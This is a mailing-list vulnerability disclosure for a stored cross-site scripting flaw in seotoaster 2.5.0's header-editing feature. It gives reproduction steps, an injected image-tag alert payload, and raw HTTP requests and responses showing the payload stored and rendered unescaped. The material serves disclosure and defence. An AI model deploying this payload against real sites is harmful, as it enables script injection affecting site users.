full-disclosure - [FD] Stored XSS "Edit Header" Functionality

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Message-ID: <CAF2Wu1YFadpcttFoKiA220OsHd3cioEBDzkZZT=GBLU-YFXxog@mail.gmail.com>
Date: Sat, 19 Jul 2025 21:03:54 +0100
From: Andrey Stoykov <mwebsec@...il.com>
To: fulldisclosure@...lists.org
Subject: [FD] Stored XSS "Edit Header" Functionality - seotoasterv2.5.0

# Exploit Title: Stored XSS "Edit Header" Functionality - seotoasterv2.5.0
# Date: 07/2025
# Exploit Author: Andrey Stoykov
# Version: 2.5.0
# Tested on: Debian 12
# Blog: https://msecureltd.blogspot.com/

Stored XSS "Edit Header" Functionality #1:

Steps to Reproduce:

Login as admin user and visit "News"
Click on "Edit Header Content" and enter the payload "><img src=x
onerror=alert(1)>

// HTTP POST Request Editing Header

POST
/seotoaster/backend/backend_content/add/containerType/3/containerName/right_2/pageId/20
HTTP/1.1
Host: 192.168.58.149
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:141.0)
Gecko/20100101 Firefox/141.0
[...]

content="><img src=x
onerror=alert(1)>&containerType=&containerName=&pageId=&containerId=&secureToken=f617b019f0d4dc84000659711cf16b0a

// HTTP Response

HTTP/1.1 200 OK
Date: Sat, 19 Jul 2025 19:21:00 GMT
Server: Apache/2.4.37 (Unix) OpenSSL/1.0.2q PHP/5.6.40 mod_perl/2.0.8-dev
Perl/v5.16.3
[...]

{"error":0,"responseText":"148","httpCode":200}

// HTTP GET Request

GET
/seotoaster/news/b2b-marketing-automation-a-booming-market-for-smart-web-agencies-1423145781.html
HTTP/1.1
Host: 192.168.58.149
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:141.0)
Gecko/20100101 Firefox/141.0
[...]

// HTTP Response

HTTP/1.1 200 OK
Date: Sat, 19 Jul 2025 19:21:00 GMT
Server: Apache/2.4.37 (Unix) OpenSSL/1.0.2q PHP/5.6.40 mod_perl/2.0.8-dev
Perl/v5.16.3
X-Powered-By: PHP/5.6.40
X-Frame-Options: SAMEORIGIN
Expires: Thu, 19 Nov 1981 08:52:00 GMT
Cache-Control: no-store, no-cache, must-revalidate, post-check=0,
pre-check=0
Pragma: no-cache
Keep-Alive: timeout=5, max=99
Connection: Keep-Alive
Content-Type: text/html; charset=UTF-8
Content-Length: 36973

[...]
<h3>"><img src=x onerror=alert(1)><a class="tpopup generator-links"
data-pwidth="600" data-pheight="140" title="Click to edit header content"
href="javascript:;" data-url="
http://192.168.58.149/seotoaster/backend/backend_content/edit/id/148/containerType/3"><img
width="26" height="26" src="
http://192.168.58.149/seotoaster/system/images/editadd-header.png"
alt="edit header content" /></a></h3>
[...]
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